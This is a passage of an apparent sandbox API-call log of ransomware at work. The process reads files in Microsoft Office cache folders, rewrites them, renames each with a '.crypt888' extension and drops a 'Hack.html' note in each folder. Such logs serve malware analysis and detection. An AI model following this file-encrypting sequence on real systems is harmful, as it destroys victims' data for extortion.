Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.549] GetFileType (hFile=0x258) returned 0x1 [0067.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.549] GetFileType (hFile=0x258) returned 0x1 [0067.549] WriteFile (in: hFile=0x258, lpBuffer=0x27821f4*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27821f4*, lpNumberOfBytesWritten=0x39ed1c*=0x7d0, lpOverlapped=0x0) returned 1 [0067.550] CloseHandle (hObject=0x258) returned 1 [0067.552] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.552] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.552] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb976ec80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7d0)) returned 1 [0067.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.552] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.553] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.553] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.553] GetFileType (hFile=0x258) returned 0x1 [0067.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.553] GetFileType (hFile=0x258) returned 0x1 [0067.553] WriteFile (in: hFile=0x258, lpBuffer=0x2784c1c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2784c1c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.554] CloseHandle (hObject=0x258) returned 1 [0067.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.555] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.555] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.555] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0067.563] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.564] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.564] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0067.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.565] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.565] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.565] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0067.566] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.567] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.567] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0067.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.568] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpFilePart=0x0) returned 0x4d [0067.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.569] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.570] GetFileType (hFile=0x258) returned 0x1 [0067.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.570] GetFileType (hFile=0x258) returned 0x1 [0067.570] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x5ac [0067.571] ReadFile (in: hFile=0x258, lpBuffer=0x27887f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27887f0*, lpNumberOfBytesRead=0x39ed58*=0x5ac, lpOverlapped=0x0) returned 1 [0067.572] CloseHandle (hObject=0x258) returned 1 [0067.591] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpFilePart=0x0) returned 0x4d [0067.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.592] GetFileType (hFile=0x258) returned 0x1 [0067.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.593] GetFileType (hFile=0x258) returned 0x1 [0067.593] WriteFile (in: hFile=0x258, lpBuffer=0x27d8364*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27d8364*, lpNumberOfBytesWritten=0x39ed1c*=0x5b0, lpOverlapped=0x0) returned 1 [0067.594] CloseHandle (hObject=0x258) returned 1 [0067.596] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpFilePart=0x0) returned 0x4d [0067.596] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.crypt888", lpFilePart=0x0) returned 0x56 [0067.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.596] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xb97e10a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5b0)) returned 1 [0067.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.596] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.crypt888")) returned 1 [0067.597] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.597] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.598] GetFileType (hFile=0x258) returned 0x1 [0067.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.598] GetFileType (hFile=0x258) returned 0x1 [0067.598] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x750 [0067.598] ReadFile (in: hFile=0x258, lpBuffer=0x27d9e38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27d9e38*, lpNumberOfBytesRead=0x39ed58*=0x750, lpOverlapped=0x0) returned 1 [0067.600] CloseHandle (hObject=0x258) returned 1 [0067.619] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.619] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.620] GetFileType (hFile=0x258) returned 0x1 [0067.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.620] GetFileType (hFile=0x258) returned 0x1 [0067.620] WriteFile (in: hFile=0x258, lpBuffer=0x282a214*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x282a214*, lpNumberOfBytesWritten=0x39ed1c*=0x760, lpOverlapped=0x0) returned 1 [0067.621] CloseHandle (hObject=0x258) returned 1 [0067.623] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.623] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.623] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xb9807200, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x760)) returned 1 [0067.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.623] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.624] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.626] GetFileType (hFile=0x258) returned 0x1 [0067.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.626] GetFileType (hFile=0x258) returned 0x1 [0067.626] WriteFile (in: hFile=0x258, lpBuffer=0x282cc3c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x282cc3c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.627] CloseHandle (hObject=0x258) returned 1 [0067.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.627] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.627] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.627] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7a8 [0067.634] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.634] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.635] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.635] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.635] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.635] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.635] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0067.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.636] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.636] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.636] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7a8 [0067.637] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.637] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.638] FindNextFileW (in: hFindFile=0x59a7a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.638] FindClose (in: hFindFile=0x59a7a8 | out: hFindFile=0x59a7a8) returned 1 [0067.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.639] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0067.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.639] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.641] GetFileType (hFile=0x258) returned 0x1 [0067.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.641] GetFileType (hFile=0x258) returned 0x1 [0067.641] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x391 [0067.641] ReadFile (in: hFile=0x258, lpBuffer=0x2830614, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2830614*, lpNumberOfBytesRead=0x39ed58*=0x391, lpOverlapped=0x0) returned 1 [0067.643] CloseHandle (hObject=0x258) returned 1 [0067.657] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0067.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.659] GetFileType (hFile=0x258) returned 0x1 [0067.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.659] GetFileType (hFile=0x258) returned 0x1 [0067.659] WriteFile (in: hFile=0x258, lpBuffer=0x287f740*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x287f740*, lpNumberOfBytesWritten=0x39ed1c*=0x3a0, lpOverlapped=0x0) returned 1 [0067.659] CloseHandle (hObject=0x258) returned 1 [0067.660] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml", lpFilePart=0x0) returned 0x4c [0067.660] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.crypt888", lpFilePart=0x0) returned 0x55 [0067.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.660] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9879620, 